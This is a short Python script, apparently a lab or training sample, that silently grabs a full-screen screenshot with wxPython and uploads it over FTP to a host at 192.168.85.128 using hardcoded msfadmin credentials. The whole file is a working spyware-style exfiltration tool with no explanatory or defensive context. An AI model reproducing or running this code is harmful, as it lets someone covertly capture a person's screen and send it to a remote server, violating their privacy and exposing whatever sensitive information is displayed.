22 lines
433 B
Python
22 lines
433 B
Python
import wx
|
|
import os
|
|
import ftplib
|
|
|
|
w = wx.App()
|
|
screen = wx.ScreenDC()
|
|
size = screen.GetSize()
|
|
bmap = wx.Bitmap(size[0],size[1])
|
|
memo = wx.MemoryDC(bmap)
|
|
memo.Blit(0,0,size[0],size[1],screen,0,0)
|
|
|
|
del memo
|
|
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)
|
|
|
|
sess_ = ftplib.FTP("192.168.85.128", "msfadmin", "msfadmin")
|
|
file_ = open("grabbed.png", "rb")
|
|
sess_.storbinary("STOR /tmp/grabbed.png", file_)
|
|
|
|
file_.close()
|
|
sess_.quit()
|
|
|